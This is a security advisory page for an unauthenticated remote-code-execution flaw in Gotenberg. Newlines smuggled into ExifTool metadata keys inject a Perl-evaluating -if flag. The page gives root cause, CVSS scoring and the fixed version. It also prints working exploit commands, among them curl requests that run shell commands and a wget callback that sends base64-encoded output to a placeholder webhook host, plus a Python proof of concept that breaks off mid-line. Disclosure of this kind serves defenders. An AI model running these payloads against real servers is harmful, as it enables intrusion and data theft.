Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection
# Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection
Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.
| Field | Value |
|------------------|------------------------------------------|
| Product | Gotenberg |
| Version | 8.29.1 (default gotenberg/gotenberg:8) |
| Component | pdfengines/metadata/write endpoint |
| CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |
Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character
validation. The existing dangerousTags blocklist uses exact-match deletion and
provides no defense against \n-embedded keys.
The injection occurs because go-exiftool writes each key to ExifTool's stdin as:
```go
fmt.Fprintln(e.stdin, "-"+k+"="+str) // k contains \n → splits into a new argument line
```
When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:
```
-Title
-if
system('cmd')||1
-Comment=x
```
ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.
Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.
This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.
Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)
1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
2. Gotenberg deserializes the JSON key — \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.
```bash
# Write output of id to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F '[email protected];type=application/pdf' \
--form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
```
OOB exfiltration via base64-encoded HTTP callback:
```bash
OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F '[email protected];type=application/pdf' \
--form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...
```
Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):
```python
#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request
def check_target(target):
with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
print(f"[+] Gotenberg {r.read().decode().strip()} — target reachable")
def get_pdf(target):
r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
"-F", "url=https://example.com"], capture_output=True, timeout=30)
assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
print(f"[+] Got sa
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-42589 is recorded against 3 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | — | — |
| github.com/gotenberg/gotenberg/v8 | — | — |
| gotenberg | — | 8.31.0 |
References
Similar Threats
Exploit Protection
CVE-2026-42589 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-42589 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.